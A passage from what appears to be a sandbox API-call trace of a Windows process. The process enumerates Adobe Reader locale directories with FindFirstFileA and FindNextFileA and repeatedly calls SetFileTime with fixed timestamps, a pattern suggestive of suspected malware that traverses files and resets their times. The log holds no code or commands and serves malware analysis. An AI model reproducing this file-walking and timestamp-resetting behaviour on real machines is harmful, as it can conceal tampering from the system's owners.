wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0070.620] SetFileTime (hFile=0x94, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0070.620] CloseHandle (hObject=0x94) returned 1 [0070.620] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82ddf5c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6e800, dwReserved0=0x0, dwReserved1=0x0, cFileName="Acroform.FRA", cAlternateFileName="")) returned 1 [0070.620] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0070.621] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x801d5ec0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0x74, dwReserved1=0x0, cFileName="AdobeCollabSync.FRA", cAlternateFileName="ADOBEC~1.FRA")) returned 1 [0070.621] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0070.621] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82b7dfc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7f600, dwReserved0=0x74, dwReserved1=0x0, cFileName="Annots.FRA", cAlternateFileName="")) returned 1 [0070.621] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0070.621] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x820558a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3800, dwReserved0=0x74, dwReserved1=0x0, cFileName="BRdlang32.FRA", cAlternateFileName="BRDLAN~1.FRA")) returned 1 [0070.621] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0070.621] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82e05720, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x20a00, dwReserved0=0x74, dwReserved1=0x0, cFileName="Checkers.FRA", cAlternateFileName="")) returned 1 [0070.621] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0070.622] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82ddf5c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x21c00, dwReserved0=0x74, dwReserved1=0x0, cFileName="DigSig.FRA", cAlternateFileName="")) returned 1 [0070.622] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0070.622] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82ddf5c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4e00, dwReserved0=0x74, dwReserved1=0x0, cFileName="DVA.FRA", cAlternateFileName="")) returned 1 [0070.622] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0070.622] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82ec3e00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x74, dwReserved1=0x0, cFileName="eBook.FRA", cAlternateFileName="")) returned 1 [0070.622] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0070.622] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82ddf5c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa800, dwReserved0=0x74, dwReserved1=0x0, cFileName="EScript.fra", cAlternateFileName="")) returned 1 [0070.622] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0070.623] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82ddf5c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x74, dwReserved1=0x0, cFileName="IA32.FRA", cAlternateFileName="")) returned 1 [0070.623] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0070.623] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7da69260, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x14c00, dwReserved0=0x74, dwReserved1=0x0, cFileName="makeaccessible.FRA", cAlternateFileName="MAKEAC~1.FRA")) returned 1 [0070.623] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0070.623] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d749580, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x14400, dwReserved0=0x74, dwReserved1=0x0, cFileName="Multimedia.FRA", cAlternateFileName="MULTIM~1.FRA")) returned 1 [0070.623] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0070.623] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7da1cfa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2e00, dwReserved0=0x74, dwReserved1=0x0, cFileName="pddom.FRA", cAlternateFileName="")) returned 1 [0070.623] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0070.624] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82ddf5c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x88000, dwReserved0=0x74, dwReserved1=0x0, cFileName="PPKLITE.FRA", cAlternateFileName="")) returned 1 [0070.624] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0070.624] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f82a560, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15ee00, dwReserved0=0x74, dwReserved1=0x0, cFileName="RdLang32.FRA", cAlternateFileName="")) returned 1 [0070.624] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0070.624] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82f824e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2c00, dwReserved0=0x74, dwReserved1=0x0, cFileName="ReadOutLoud.FRA", cAlternateFileName="READOU~1.FRA")) returned 1 [0070.624] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0070.624] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7da43100, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x74, dwReserved1=0x0, cFileName="reflow.FRA", cAlternateFileName="")) returned 1 [0070.624] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0070.625] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dab5520, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4e00, dwReserved0=0x74, dwReserved1=0x0, cFileName="SaveAsRTF.FRA", cAlternateFileName="SAVEAS~1.FRA")) returned 1 [0070.625] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0070.625] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0070.625] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0070.625] lstrcmpA (lpString1=".", lpString2="Services") returned -1 [0070.625] lstrcmpA (lpString1="..", lpString2="Services") returned -1 [0070.626] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR\\Services\\*.*", lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fe3480, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fe3480, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f370, dwReserved1=0x4f70b2, cFileName=".", cAlternateFileName="")) returned 0x502698 [0070.626] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0070.626] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0070.626] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0070.626] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0070.631] SetFileTime (hFile=0x98, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0070.631] CloseHandle (hObject=0x98) returned 1 [0070.632] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0070.632] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0070.632] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0070.633] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0070.633] lstrcmpA (lpString1=".", lpString2="hr_HR") returned -1 [0070.633] lstrcmpA (lpString1="..", lpString2="hr_HR") returned -1 [0070.633] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832ee480, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832ee480, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x74, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502658 [0070.637] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0070.637] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0070.637] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0070.637] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0070.639] SetFileTime (hFile=0x94, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0070.640] CloseHandle (hObject=0x94) returned 1 [0070.640] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0070.640] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0070.641] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0070.641] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0070.641] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0070.641] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0070.642] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0070.642] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0070.642] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0070.642] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0070.642] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0070.642] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0070.643] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0070.643] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0070.643] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0070.643] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0070.643] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0070.644] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0070.644] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0070.644] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0070.644] lstrcmpA (lpString1=".", lpString2="Services") returned -1 [0070.644] lstrcmpA (lpString1="..", lpString2="Services") returned -1 [0070.644] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\Services\\*.*", lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f370, dwReserved1=0x4f70b2, cFileName=".", cAlternateFileName="")) returned 0x502698 [0070.646] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0070.646] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0070.646] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0070.646] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0070.652] SetFileTime (hFile=0x98, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0070.652] CloseHandle (hObject=0x98) returned 1 [0070.653] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0070.653] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0070.653] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0070.653] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0070.654] lstrcmpA (lpString1=".", lpString2="hu_HU") returned -1 [0070.654] lstrcmpA (lpString1="..", lpString2="hu_HU") returned -1 [0070.654] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832c8320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832c8320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x74, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502658 [0070.659] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0070.659] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0070.659] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0070.659] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0070.661] SetFileTime (hFile=0x94, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0070.661] CloseHandle (hObject=0x94) returned 1 [0070.662] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0070.662] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0070.662] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0070.663] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0070.663] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0070.663] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0070.663] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0070.663] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0070.664] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0070.664] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0070.664] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0070.664] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0070.665] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0070.665] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0070.666] lstrcmpA (lpString1=".", lpString2="Services") returned -1 [0070.666] lstrcmpA (lpString1="..", lpString2="Services") returned -1 [0070.666] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU\\Services\\*.*", lpFindFileData=0x18f508 | out: 